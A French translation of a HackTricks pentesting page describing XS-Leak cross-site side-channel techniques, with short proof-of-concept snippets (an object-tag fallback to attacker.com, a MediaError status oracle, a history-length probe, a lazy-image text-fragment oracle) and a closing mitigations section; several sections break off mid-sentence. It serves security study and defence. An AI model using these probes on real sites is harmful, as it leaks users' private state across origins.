mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 17:16:10 +00:00
405 lines
36 KiB
Markdown
405 lines
36 KiB
Markdown
## XS-Search/XS-Leaks
|
|
|
|
 (1) (2).png>)
|
|
|
|
\
|
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
|
Accédez-y dès aujourd'hui :
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## **Informations de base**
|
|
|
|
XS-Search est une technique orientée vers l'exfiltration d'informations entre domaines en exploitant des attaques de canal latéral.
|
|
|
|
Il existe différents éléments dans ce type d'attaque :
|
|
|
|
* **Web vulnérable** : c'est le site web à partir duquel nous voulons exfiltrer des informations
|
|
* **Web de l'attaquant** : c'est le site web que l'attaquant crée contenant l'exploit et que la victime accède
|
|
* **Méthode d'inclusion** : c'est la méthode utilisée pour charger le Web vulnérable à partir du Web de l'attaquant (comme window.open, iframe, fetch, balise HTML avec href...)
|
|
* **Technique de fuite** : après avoir accédé au site vulnérable, une technique sera utilisée pour différencier les états potentiels du site avec les informations obtenues à partir de la méthode d'inclusion utilisée.
|
|
* **États** : les 2 états possibles que le site vulnérable peut avoir en fonction de la victime que nous voulons différencier.
|
|
* **Différences détectables** : il s'agit des informations que l'attaquant doit essayer de décider de l'état du site vulnérable.
|
|
|
|
### Différences détectables
|
|
|
|
Afin de distinguer entre les 2 états de la page vulnérable, plusieurs éléments peuvent être examinés :
|
|
|
|
* **Code d'état**. Un attaquant peut distinguer les **différents codes d'état de réponse HTTP** entre domaines (par exemple, les erreurs serveur, les erreurs client ou les erreurs d'authentification).
|
|
* **Utilisation de l'API**. Cette différence détectable permet à un attaquant de détecter l'**utilisation des API Web** sur les pages, ce qui permet à un attaquant de déduire si une page entre domaines utilise une API Web JavaScript spécifique.
|
|
* **Redirections**. Il est possible de détecter si une application Web a **navigué l'utilisateur vers une page différente**. Cela ne se limite pas aux redirections HTTP, mais inclut également les redirections déclenchées par JavaScript ou HTML.
|
|
* **Contenu de la page**. Ces différences détectables **apparaissent dans le corps de la réponse HTTP** ou dans les sous-ressources incluses par la page. Par exemple, cela pourrait être le **nombre de frames incluses
|
|
```html
|
|
<object data="//example.com/404">
|
|
<object data="//attacker.com/?error"></object>
|
|
</object>
|
|
```
|
|
Dans ce cas, si `example.com/404` n'est pas trouvé, `attacker.com/?error` sera chargé.
|
|
|
|
### Timing de l'événement onload
|
|
|
|
* **Méthodes d'inclusion**: Éléments HTML
|
|
* **Différence détectable**: Timing (généralement dû au contenu de la page, au code d'état)
|
|
* **Plus d'informations**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
|
|
* **Résumé**: L'API \*\*\*\* [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) peut être utilisée pour mesurer le temps nécessaire pour effectuer une requête. Cependant, d'autres horloges pourraient être utilisées, telles que l'API [**PerformanceLongTaskTiming**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) qui peut identifier les tâches s'exécutant pendant plus de 50 ms.
|
|
* **Exemple de code**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) un autre exemple dans:
|
|
|
|
{% content-ref url="xs-search/performance.now-example.md" %}
|
|
[performance.now-example.md](xs-search/performance.now-example.md)
|
|
{% endcontent-ref %}
|
|
|
|
#### Timing onload + tâche lourde forcée
|
|
|
|
Cette technique est similaire à la précédente, mais l'**attaquant** va également **forcer** une action à prendre un **temps pertinent** lorsque la **réponse est positive ou négative** et mesurer ce temps.
|
|
|
|
{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
|
|
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Timing unload/beforeunload
|
|
|
|
* **Méthodes d'inclusion**: Frames
|
|
* **Différence détectable**: Timing (généralement dû au contenu de la page, au code d'état)
|
|
* **Plus d'informations**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
|
* **Résumé**: L'horloge [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) peut être utilisée pour mesurer le temps nécessaire pour effectuer une requête. D'autres horloges pourraient être utilisées.
|
|
* **Exemple de code**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
|
|
|
Les événements [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) et [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event) peuvent être utilisés pour mesurer le temps nécessaire pour récupérer une ressource. Cela fonctionne parce que **`beforeunload`** est déclenché lorsque le navigateur **demande une nouvelle navigation**,
|
|
### Boucle d'événements occupée <a href="#busy-event-loop" id="busy-event-loop"></a>
|
|
|
|
* **Méthodes d'inclusion** :
|
|
* **Différence détectable** : Timing (généralement dû au contenu de la page, au code d'état)
|
|
* **Plus d'informations** : [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
|
* **Résumé** : Mesurer le temps d'exécution d'un site web en bloquant la boucle d'événements d'un thread et chronométrer **le temps qu'il faut pour que la boucle d'événements redevienne disponible**.
|
|
* **Exemple de code** :
|
|
|
|
L'un des principaux avantages de cette technique est sa capacité à contourner l'isolation de site, car l'origine de l'attaquant peut influencer l'exécution d'une autre origine.
|
|
|
|
{% hint style="warning" %}
|
|
Dans une mesure de temps d'exécution, il est possible d'**éliminer les facteurs de réseau** pour obtenir des mesures **plus précises**. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
|
|
{% endhint %}
|
|
|
|
### Pool de connexions
|
|
|
|
* **Méthodes d'inclusion** : Requêtes JavaScript
|
|
* **Différence détectable** : Timing (généralement dû au contenu de la page, au code d'état)
|
|
* **Plus d'informations** : [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
|
* **Résumé** : Un attaquant pourrait bloquer tous les sockets sauf un, charger la page cible et en même temps charger une autre page, le temps jusqu'à ce que la dernière page commence à se charger est le temps que la page cible a pris pour se charger.
|
|
* **Exemple de code** :
|
|
|
|
{% content-ref url="xs-search/connection-pool-example.md" %}
|
|
[connection-pool-example.md](xs-search/connection-pool-example.md)
|
|
{% endcontent-ref %}
|
|
|
|
Les navigateurs utilisent des sockets pour communiquer avec les serveurs. Comme le système d'exploitation et le matériel sur lequel il s'exécute ont des ressources limitées, **les navigateurs doivent imposer une limite**. Pour exploiter l'existence de cette limite, les attaquants peuvent :
|
|
|
|
1. Vérifier quelle est la limite du navigateur, par exemple 256 sockets globaux.
|
|
2. Bloquer 255 sockets pendant une longue période en effectuant 255 requêtes vers des hôtes différents qui suspendent simplement la connexion.
|
|
3. Utiliser le 256ème socket en effectuant une requête vers la page cible.
|
|
4. Effectuer une 257ème requête vers un autre hôte. Étant donné que tous les sockets sont utilisés (aux étapes 2 et 3), cette requête doit attendre que le pool reçoive un socket disponible. Cette période d'attente fournit à l'attaquant le timing réseau du 256ème socket, qui appartient à la page cible. Cela fonctionne parce que les 255 sockets de l'étape 2 sont toujours bloqués, donc si le pool a reçu un socket disponible, c'est à cause de la libération du socket de l'étape 3. Le temps de libération du 256ème socket est directement lié au temps nécessaire pour terminer la requête.
|
|
|
|
Pour plus d'informations : [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
|
|
|
### Pool de connexions par destination
|
|
|
|
* **Mé
|
|
### Service Worker
|
|
|
|
* **Méthodes d'inclusion**: Frames
|
|
* **Différence détectable**: Utilisation de l'API
|
|
* **Plus d'infos**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
|
|
* **Résumé**: Détecter si un service worker est enregistré pour une origine spécifique.
|
|
* **Exemple de code**:
|
|
|
|
Les service workers sont des contextes de script pilotés par des événements qui s'exécutent sur une origine. Ils s'exécutent en arrière-plan d'une page Web et peuvent intercepter, modifier et **mettre en cache des ressources** pour créer une application Web hors ligne.\
|
|
Si une **ressource mise en cache** par un **service worker** est accédée via un **iframe**, la ressource sera **chargée à partir du cache du service worker**.\
|
|
Pour détecter si la ressource a été **chargée à partir du cache du service worker**, l'API de performance peut être utilisée.\
|
|
Cela pourrait également être fait avec une attaque de synchronisation (consultez le document pour plus d'informations).
|
|
|
|
### Cache
|
|
|
|
* **Méthodes d'inclusion**: Fetch API
|
|
* **Différence détectable**: Timing
|
|
* **Plus d'infos**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
|
|
* **Résumé**: Détecter si une ressource a été stockée dans le cache.
|
|
* **Exemple de code**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))
|
|
|
|
En utilisant l'API de performance, il est possible de vérifier si une ressource est mise en cache.\
|
|
Pour plus d'informations: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
|
|
|
|
### Durée du réseau
|
|
|
|
* **Méthodes d'inclusion**: Fetch API
|
|
* **Différence détectable**: Contenu de la page
|
|
* **Plus d'infos**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
|
* **Résumé**: Il est possible de récupérer la durée du réseau d'une requête à partir de l'API `performance`.
|
|
* **Exemple de code**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
|
|
|
## Technique des messages d'erreur
|
|
|
|
### Erreur de média
|
|
|
|
* **Méthodes d'inclusion**: Éléments HTML (Vidéo, Audio)
|
|
* **Différence détectable**: Code d'état
|
|
* **Plus d'infos**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
|
* **Résumé**: Dans FF, il est possible de divulguer avec précision le code d'état d'une requête cross-origin.
|
|
* **Exemple de code**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
|
|
```javascript
|
|
// Code saved here in case it dissapear from the link
|
|
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
|
|
window.addEventListener("load", startup, false);
|
|
function displayErrorMessage(msg) {
|
|
document.getElementById("log").innerHTML += msg;
|
|
}
|
|
|
|
function startup() {
|
|
let audioElement = document.getElementById("audio");
|
|
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
|
|
document.getElementById("startTest").addEventListener("click", function() {
|
|
audioElement.src = document.getElementById("testUrl").value;
|
|
}, false);
|
|
// Create the event handler
|
|
var errHandler = function() {
|
|
let err = this.error;
|
|
let message = err.message;
|
|
let status = "";
|
|
|
|
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
|
|
// Firefox error.message when the request loads successfully: "Failed to init decoder"
|
|
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
|
|
status = "Success";
|
|
}else{
|
|
status = "Error";
|
|
}
|
|
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
|
|
};
|
|
audioElement.onerror = errHandler;
|
|
}
|
|
```
|
|
La propriété message de l'interface **`MediaError`** contient une **chaîne différente pour les ressources qui se chargent avec succès**. Cela permet à un attaquant d'inférer le statut de réponse pour une ressource cross-origin.
|
|
|
|
### Erreur CORS
|
|
|
|
* **Méthodes d'inclusion**: Fetch API
|
|
* **Différence détectable**: En-tête
|
|
* **Plus d'informations**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
|
* **Résumé**: Dans SA, les messages d'erreur CORS divulguent l'URL complète des redirections.
|
|
* **Exemple de code**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
|
|
|
Cette technique permet à un attaquant de divulguer la cible d'une redirection initiée par un site cross-origin.
|
|
|
|
CORS permet aux ressources web accessibles publiquement d'être lues et utilisées à partir de n'importe quel site web. Dans les navigateurs basés sur Webkit, il est possible d'**accéder aux messages d'erreur CORS lorsque la requête CORS échoue**. Un attaquant peut envoyer une requête activée par CORS à un site cible qui **redirige** en fonction de l'état de l'utilisateur. Lorsque le navigateur refuse la requête, l'**URL complète de la cible de la redirection est divulguée** dans le message d'erreur. Avec cette attaque, il est possible de détecter les redirections, de divulguer les emplacements de redirection et les paramètres de requête sensibles.
|
|
|
|
### Erreur SRI
|
|
|
|
* **Méthodes d'inclusion**: Fetch API
|
|
* **Différence détectable**: En-tête
|
|
* **Plus d'informations**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
|
* **Résumé**: Dans SA, les messages d'erreur SRI divulguent la taille des réponses cross-origin en raison de messages d'erreur verbeux.
|
|
* **Exemple de code**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
|
|
|
Un attaquant peut divulguer la taille des réponses cross-origin en raison de **messages d'erreur verbeux**.
|
|
|
|
L'attribut d'intégrité définit un hachage cryptographique par lequel le navigateur peut vérifier qu'une ressource récupérée n'a pas été manipulée. Ce mécanisme de sécurité s'appelle Subresource Integrity (SRI). Il est utilisé pour la vérification d'intégrité des ressources servies à partir de réseaux de diffusion de contenu (CDN). Pour éviter les fuites de données, les ressources cross-origin doivent être **activées par CORS**. Sinon, la réponse n'est pas éligible à la validation d'intégrité. Tout comme la fuite XS-Leak d'erreur CORS, il est possible de capturer le **message d'erreur après une demande fetch avec un attribut d'intégrité qui échoue**. Un attaquant peut déclencher **forcément** cette **erreur** sur n'importe quelle demande en spécifiant une **valeur de hachage bidon**. Dans SA, ce message d'erreur divulgue la longueur du contenu de la ressource demandée. Un attaquant peut utiliser cette fuite pour détecter les différences de taille de réponse, ce qui permet des attaques XS-Leak puissantes.
|
|
|
|
### Violation/Détection de CSP
|
|
|
|
* **Méthodes d'inclusion**: Pop-ups
|
|
* **Différence détectable**:
|
|
### Longueur maximale de l'URL - Côté client
|
|
|
|
* **Méthodes d'inclusion**: Pop-ups
|
|
* **Différence détectable**: Code d'état / Contenu
|
|
* **Plus d'informations**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
|
* **Résumé**: Détecter les différences dans les réponses en raison de la longueur de la réponse de redirection qui pourrait être trop grande pour une demande qu'une différence peut être remarquée.
|
|
* **Exemple de code**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
|
|
|
Selon la [documentation de Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length), la longueur maximale de l'URL de Chrome est de 2 Mo.
|
|
|
|
> En général, la _plateforme web_ n'a pas de limites sur la longueur des URL (bien que 2^31 soit une limite courante). _Chrome_ limite les URL à une longueur maximale de **2 Mo** pour des raisons pratiques et pour éviter de causer des problèmes de déni de service dans la communication inter-processus.
|
|
|
|
Par conséquent, si l'URL de redirection répond est plus grande dans l'un des cas, il est possible de la faire rediriger avec une URL plus grande que 2 Mo pour atteindre la limite de longueur. Lorsque cela se produit, Chrome affiche une page **`about:blank#blocked`**.
|
|
|
|
La différence remarquable est que si la redirection a été terminée, `window.origin` lance une erreur car une origine croisée ne peut pas accéder à cette information. Cependant, si la limite a été atteinte et que la page chargée était **`about:blank#blocked`**, l'origine de la fenêtre reste celle du parent, qui est une information accessible.
|
|
|
|
Toutes les informations supplémentaires nécessaires pour atteindre les 2 Mo peuvent être ajoutées via un **hash** dans l'URL initiale afin qu'il soit utilisé dans la redirection.
|
|
|
|
{% content-ref url="xs-search/url-max-length-client-side.md" %}
|
|
[url-max-length-client-side.md](xs-search/url-max-length-client-side.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Nombre maximal de redirections
|
|
|
|
* **Méthodes d'inclusion**: API Fetch, Frames
|
|
* **Différence détectable**: Code d'état
|
|
* **Plus d'informations**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76)
|
|
* **Résumé**: Abuser de la limite de redirection pour détecter les redirections.
|
|
* **Exemple de code**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
|
|
|
Si le nombre maximal de redirections à suivre d'un navigateur est de 20, un attaquant pourrait essayer de charger sa page avec 19 redirections et finalement envoyer la victime vers la page testée. Si une erreur est déclenchée, alors la page essayait de rediriger la victime.
|
|
|
|
### Longueur de l'historique
|
|
|
|
* **Méthodes d'inclusion**: Frames, Pop-ups
|
|
* **Différence détectable**: Redirections
|
|
* **Plus d'informations**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
|
|
* **Résumé**: Le code JavaScript manipule l'historique du navigateur et peut être accédé par la propriété de longueur.
|
|
* **Exemple de code**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
|
|
|
L'API History permet au code JavaScript de manipuler l'historique du navigateur, qui enregistre les pages visitées par un utilisateur. Un attaquant peut utiliser la propriété de longueur comme méthode d'inclusion : pour détecter la navigation JavaScript et HTML.\
|
|
En vérifiant `history.length`, en faisant naviguer un utilisateur vers une page, en la changeant de nouveau vers la même origine et en vérifiant la nouvelle valeur de `history.length`.
|
|
|
|
### Longueur de l'historique avec la même URL
|
|
|
|
* **Méthodes d'inclusion**: Frames, Pop-ups
|
|
* **Différence détectable**: Si l'URL est identique à celle devinée
|
|
* **Résumé**: Il est possible de deviner si l'emplacement d'une frame/pop-up est dans une URL spécifique en abusant de la longueur de l'historique.
|
|
* **Exemple de code**: ci-dessous
|
|
|
|
Un attaquant pourrait utiliser du code JavaScript pour manipuler l'emplacement de la frame/pop-up vers une URL devinée et la changer immédiatement en `about:blank`. Si la longueur de l'historique a augmenté, cela signifie que l'URL était correcte et qu'elle avait le temps d'augmenter car l'URL n'est pas rechargée si elle est identique. Si elle n'a pas augmenté, cela signifie qu'elle a essayé de charger l'URL devinée mais parce que nous avons immédiatement chargé `about:blank` après, la longueur de l'historique n'a jamais augmenté lors du chargement de l'URL devinée.
|
|
```javascript
|
|
async function debug(win, url) {
|
|
win.location = url + '#aaa';
|
|
win.location = 'about:blank';
|
|
await new Promise(r => setTimeout(r, 500));
|
|
return win.history.length;
|
|
}
|
|
|
|
win = window.open("https://example.com/?a=b");
|
|
await new Promise(r => setTimeout(r, 2000));
|
|
console.log(await debug(win, "https://example.com/?a=c"));
|
|
|
|
win.close();
|
|
win = window.open("https://example.com/?a=b");
|
|
await new Promise(r => setTimeout(r, 2000));
|
|
console.log(await debug(win, "https://example.com/?a=b"));
|
|
```
|
|
### Comptage de cadres
|
|
|
|
* **Méthodes d'inclusion**: Cadres, Pop-ups
|
|
* **Différence détectable**: Contenu de la page
|
|
* **Plus d'informations**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
|
|
* **Résumé**: Lire le nombre de cadres (window.length).
|
|
* **Exemple de code**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
|
|
|
Le comptage du **nombre de cadres dans une page web** ouverte via `iframe` ou `window.open` peut aider à identifier le **statut de l'utilisateur sur cette page**.\
|
|
De plus, si la page a toujours le même nombre de cadres, la vérification **continue** du nombre de cadres peut aider à identifier un **modèle** qui pourrait divulguer des informations.
|
|
|
|
Un exemple de cette technique est que dans Chrome, un **PDF** peut être **détecté** avec le **comptage de cadres
|
|
### Temps de récupération
|
|
|
|
* **Méthodes d'inclusion**: API Fetch
|
|
* **Différence détectable**: Temps (généralement dû au contenu de la page, au code d'état)
|
|
* **Plus d'infos**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
|
* **Résumé**: L'API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) peut être utilisée pour mesurer le temps nécessaire pour effectuer une requête. D'autres horloges pourraient être utilisées.
|
|
* **Exemple de code**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
|
|
|
### Temps entre fenêtres
|
|
|
|
* **Méthodes d'inclusion**: Pop-ups
|
|
* **Différence détectable**: Temps (généralement dû au contenu de la page, au code d'état)
|
|
* **Plus d'infos**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
|
* **Résumé**: L'API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) peut être utilisée pour mesurer le temps nécessaire pour effectuer une requête en utilisant `window.open`. D'autres horloges pourraient être utilisées.
|
|
* **Exemple de code**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
|
|
|
 (1) (2).png>)
|
|
|
|
\
|
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
|
Obtenez l'accès aujourd'hui:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## Avec HTML ou Réinjection
|
|
|
|
Ici, vous pouvez trouver des techniques pour exfiltrer des informations à partir d'un HTML de source croisée en **injectant du contenu HTML**. Ces techniques sont intéressantes dans les cas où, pour une raison quelconque, vous pouvez **injecter du HTML mais vous ne pouvez pas injecter de code JS**.
|
|
|
|
### Balisage en suspens
|
|
|
|
{% content-ref url="dangling-markup-html-scriptless-injection.md" %}
|
|
[dangling-markup-html-scriptless-injection.md](dangling-markup-html-scriptless-injection.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Chargement paresseux d'images
|
|
|
|
Si vous devez **exfiltrer du contenu** et que vous pouvez **ajouter du HTML avant le secret**, vous devriez vérifier les **techniques de balisage en suspens courantes**.\
|
|
Cependant, si pour une raison quelconque vous **DEVEZ** le faire **caractère par caractère** (peut-être que la communication se fait via un cache hit), vous pouvez utiliser cette astuce.
|
|
|
|
Les **images** dans HTML ont un attribut "**loading**" dont la valeur peut être "**lazy**". Dans ce cas, l'image sera chargée lorsqu'elle sera affichée et non pendant le chargement de la page:
|
|
```html
|
|
<img src=/something loading=lazy >
|
|
```
|
|
Par conséquent, ce que vous pouvez faire est d'**ajouter beaucoup de caractères inutiles** (par exemple, des milliers de "W") pour **remplir la page web avant le secret**. Nous faisons cela pour que l'image ne soit pas chargée au début.
|
|
|
|
Cependant, vous pouvez faire **accéder le bot à la page** avec quelque chose comme
|
|
```
|
|
#:~:text=SECR
|
|
```
|
|
Donc la page web ressemblera à quelque chose comme: **`https://victim.com/post.html#:~:text=SECR`**
|
|
|
|
Où post.html contient les caractères indésirables de l'attaquant et l'image de chargement paresseux, puis le secret du bot est ajouté.
|
|
|
|
Ce que ce texte fera, c'est de faire accéder le bot à n'importe quel texte de la page qui contient le texte `SECR`. Comme ce texte est le secret et qu'il est juste **en dessous de l'image**, l'**image ne se chargera que si le secret deviné est correct**. Vous avez donc votre oracle pour **exfiltrer le caractère secret par caractère**.
|
|
|
|
Un exemple de code pour exploiter cela: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
|
|
|
Trouvez **un autre exemple d'utilisation du chargement paresseux** ici:
|
|
|
|
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
|
|
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
|
|
{% endcontent-ref %}
|
|
|
|
### ReDoS
|
|
|
|
{% content-ref url="regular-expression-denial-of-service-redos.md" %}
|
|
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
|
|
{% endcontent-ref %}
|
|
|
|
### CSS ReDoS
|
|
|
|
Si `jQuery(location.hash)` est utilisé, il est possible de savoir via le temps si un contenu HTML existe, cela est dû au fait que si le sélecteur `main[id='site-main']` ne correspond pas, il n'a pas besoin de vérifier le reste des **sélecteurs**:
|
|
```javascript
|
|
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
|
|
```
|
|
### Injection de CSS
|
|
|
|
{% content-ref url="xs-search/css-injection/" %}
|
|
[injection-de-css](xs-search/css-injection/)
|
|
{% endcontent-ref %}
|
|
|
|
## Défenses
|
|
|
|
Dans cette section, vous pouvez trouver une partie des mesures d'atténuation recommandées dans [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf). Cependant, il y a plus de mesures d'atténuation dans chaque section du wiki [https://xsleaks.dev/](https://xsleaks.dev/). Consultez-le pour plus d'informations sur la façon de se protéger contre ces techniques.
|
|
|
|
### Mesures d'atténuation de la méthode d'inclusion
|
|
|
|
* **Éléments HTML**. Il peut utiliser l'en-tête **CORP pour contrôler si les pages peuvent intégrer une ressource**. CORP peut être défini sur même origine ou même site et bloque respectivement les demandes de ressources croisées ou de site croisé à cette ressource. Du côté **client**, les navigateurs basés sur Chromium utilisent l'algorithme **CORB** pour décider si les demandes de ressources croisées doivent être autorisées ou refusées.
|
|
* **Cadres**. La principale défense pour **empêcher les éléments iframe** de charger des ressources HTML est l'utilisation de **X-Frame-Options**. Alternativement, la directive CSP frame-ancestors peut atteindre un résultat similaire. Si l'intégration est refusée, la méthode d'inclusion ne peut pas détecter de différence dans les réponses.
|
|
* **Pop-ups**. Pour restreindre l'accès à `window.opener`, l'en-tête de réponse HTTP **COOP** définit trois valeurs différentes : unsafe-none (par défaut), same-origin-allow-popups et same-origin. Ces valeurs peuvent être utilisées pour **isoler les onglets de navigation et les pop-ups** et ainsi atténuer les techniques de fuite basées sur les pop-ups.
|
|
